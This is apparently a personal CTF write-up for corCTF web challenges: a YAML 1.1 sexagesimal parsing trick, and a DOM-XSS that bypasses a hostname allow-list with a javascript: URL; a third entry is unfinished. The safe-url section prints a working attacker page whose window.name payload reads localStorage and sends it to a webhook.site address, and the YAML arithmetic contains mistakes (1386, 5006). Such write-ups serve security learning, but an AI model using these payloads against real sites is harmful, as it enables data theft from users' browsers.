web

web/yamlquiz

How well do you know ~~JSON~~ YAML? Take this quiz and find out!

yamlquiz.ctfi.ng

Downloads

yamlquiz.js

tldr;

The provided file code and the url.

const express = require('express');
const YAML = require('yaml');

const PORT = process.env.PORT || 4455;
const FLAG = process.env.FLAG || 'corctf{fake_flag_for_testing}';

const app = express();

app.use(express.urlencoded({extended: false}));
app.use(express.static('static'));

app.post('/submit', (req, res) => {
  let result = req.body.result;
  let score = 0;
  if (result) {
    const result_parsed_1 = YAML.parse(result, null, {version: '1.1'});
    const result_parsed_2 = YAML.parse(result, null, {version: '1.2'});
    const score_1 = result_parsed_1?.result?.[0]?.score ?? 0;
    const score_2 = result_parsed_2?.result?.[0]?.score ?? 0;
    if (score_1 !== score_2) {
        score = score_1;
    }
  } else {
    score = 0;
  }

  if (score === 5000) {
    res.json({pass: true, flag: FLAG});
  } else {
    res.json({pass: false});
  }
});

app.listen(PORT, () => console.log(`web/yamlquiz listening on port ${PORT}`));

The vulnerability is this line of code...

const result_parsed_1 = YAML.parse(result, null, {version: '1.1'});

...the goal is simply to get the score to be 5000, so exploit the line above, and make the code below happen, easy right?.

if (score === 5000)
  res.json({pass: true, flag: FLAG});

The code highlighted as the backend parses the input twice 🥀—once as YAML 1.1 and once as YAML 1.2—then does this:

  • If the two parses differ, it picks the 1.1 value as the score.

  • If that score equals 5000, spit the flag.

YAML 1.1 has this weird feature: sexagesimal numbers. The string 1:23:20 is read as base-60: (article: the yaml document from hell) but essentially

  • 1 x 602 = 3600

  • 23 x 60 = 1386

  • +20

  • 3600 + 1386 + 20 = 5006 (or you can do a very large number, I'm just being pedantic)

// This uses YAML 1.1’s sexagesimal number (1:23:20 = 5000) which differs in YAML 1.2, making the backend pick 5000 and return the flag.
const payload = 'result:\n  - score: 1:23:20'; // YAML 1.1 sexagesimal → 5000
fetch('/submit', {
  method: 'POST',
  headers: {'Content-Type': 'application/x-www-form-urlencoded'},
  body: 'result=' + encodeURIComponent(payload)
}).then(r => r.json()).then(console.log);

So by sending the payload to hijack the score, we got the flag because the program always take score 1. There isn't really much to say here.

  • corctf{ihateyamlihateyamlihateyaml!!!}

  • Learned:

    • The yaml version 1.1 have a funny problem.

web/safe-url

Using our patented safe-url™ technology, XSS is now impossible!

safe-url.ctfi.ng

Admin Bot Downloads

safe-url.tar.gz

tar -tvf safe-url.tar
drwxr-xr-x 1000/1000         0 1969-12-31 16:00 safe-url/
-rw-r--r-- 1000/1000      2137 1969-12-31 16:00 safe-url/index.html
-rw-r--r-- 1000/1000        55 1969-12-31 16:00 safe-url/Dockerfile
-rw-r--r-- 1000/1000      1317 1969-12-31 16:00 safe-url/adminbot_test.js
tar -tvf safe-url.tar
drwxr-xr-x 1000/1000         0 1969-12-31 16:00 safe-url/
-rw-r--r-- 1000/1000      2137 1969-12-31 16:00 safe-url/index.html
-rw-r--r-- 1000/1000        55 1969-12-31 16:00 safe-url/Dockerfile
-rw-r--r-- 1000/1000      1317 1969-12-31 16:00 safe-url/adminbot_test.js

tldr;

long version

The admin’s browser stores the flag in localStorage under the key flag.

await page.evaluate((flag) => {
    localStorage.setItem("flag", flag);
}, FLAG);

So the goal is to get execution right in the same origin as the admin bot, and retrieve it right here and there.

the vulnerability

Now where is the part of the code that messed things up?

const safeHostnames = ["cor.team", "example.com", location.hostname];

const isSafeHostname = (hostname) => {
  return safeHostnames.some(safeHostname =>
    hostname === safeHostname || hostname.endsWith(`.${safeHostname}`)); // <— (A)
};

function safeRedirect(url) {
  const redirectUrl = new URL(url, window.location.origin);
  if (!isSafeHostname(redirectUrl.hostname)) { /* ... */ }                // <— (B)
  if (redirectUrl.pathname.length >= 10) { /* ... */ }                    // <— (C)
  const safeUrl = `${redirectUrl.protocol}//${redirectUrl.host}${redirectUrl.pathname}`;
  window.location = safeUrl;                                              // <— (D)
}

The problem here is:

  • (A) Suffix-based allow-list on hostname is not origin validation. (Open-redirect allow-list bypass primitive.)

  • (B)+(D) There’s no scheme allow-list. javascript: (and other dangerous schemes) are accepted and then executed when assigned to window.location. (This leads to DOM-XSS via JavaScript URL injection)

  • (C) A path-length filter is used as a “content” control; it is ....lmao — when the payload can live in other URL parts or be staged via window.name.

exploit plan

How we exploit it?

1

Stage payload in window.name: We keep the heavy logic out of the URL:

window.name = `
  window.location = 'https://webhook.site/REPLACE?q=' +
    encodeURIComponent(localStorage.getItem('flag'));
`;
2

Craft a “passing” redirect:

Use a javascript: URL that still satisfies the hostname check. One working form is to include a fake hostname (ending with .example.com) so the validator passes, then break out to real code with a newline:

javascript://a.example.com/%0aeval(name)
  • The hostname part satisfies hostname.endsWith('.example.com').

  • When loaded, javascript: treats everything after the scheme as JS. The //a.example.com portion is just a comment, and %0a (newline) ends that comment so eval(name) executes.

  • Also, it is short enough to not get flag by the len restriction.

3

Send the victim through the redirector:

https://safe-url.ctfi.ng/?redirect=javascript://a.example.com/%0aeval(name)
4

Redirector accepts & navigates → code runs in-origin.

eval(name) executes the staged code, which reads localStorage.flag and exfiltrates it to the webhook.

Now here’s the interesting part: we know the payload works, but we need to serve it to the admin bot in a way that it can actually visit. Since the bot must hit our page first, we need to expose our local index.html to the internet. The most classic way to do that is with a quick Python HTTP server, now first create a solution folder and If you put the following code in index.html:

<!doctype html>
<meta charset="utf-8">
<script>
  // stage exfil in window.name (webhook)
  window.name = `
    window.location = 'https://webhook.site/<WEB_HOOK>?q=' +
                      encodeURIComponent(localStorage.getItem('flag'))
  `;

  // code lives in the host, path is empty (so no length issue)
  const payload = "javascript://%0aeval(name).example.com"

  const base = 'https://safe-url.ctfi.ng/?redirect='
  window.location = base + encodeURIComponent(payload)
</script>

And then python3 -m http.server 8080 of the exact folder.

A lot of people’s first instinct is to use ngrok to tunnel the local server to the internet. It’s quick, it works with one command, and it even gives you a nice HTTPS URL. However, this is where you hit a wall. On the free plan, ngrok slaps a confirmation screen on first visit:

The admin bot is never going to click “Visit Site.” It’s a headless browser that just follows URLs. That means your exploit page never loads, your payload never fires, and your webhook never gets the flag. I was bamboozled, deceived and felt betrayed after I learned this fact.

We now pivot to an alternative, the easiest free next option is...localtunnel? WRONG. Because it doesnt work anymore...I went down the rabbit hole of the author has moved on and the project is no longer being maintain or somethin

Ultimately, what do we have left? Oh well, some more digging and digging, the alternatives to ngrok probably will fix the problem, as long as they don't hit you with a swipe lock screen 🥀(zrok, pig something something). But funny enough the option I have choose is this:

Execute this in a different terminal, along side with python serve

ssh -o ServerAliveInterval=60 -R 80:localhost:8080 nokey@localhost.run

And use that url to enter in the admin bot website

Congratulations....all that pain to get your flag (this challenge SHOULD HAVE NOT TAKE ME THAT LONG, 15 minutes MAX if I knew ngrok was the issue 🥀)

  • corctf{but_i_already_p4tented_it_:(((}

  • What I have learned today: yea no more ngrok in the future, that lock screen is funny af.

web/vouched

The CoR funds have completely dried up and chances are that next year's CTF will be a paid event. To not scare off the CTF players, we have provided some of you with a voucher. Enter them here to grab your free ticket for corCTF 2026!

Instancer

Downloads

vouched.tar.gz

...writing...writing...eepy sleepy

Last updated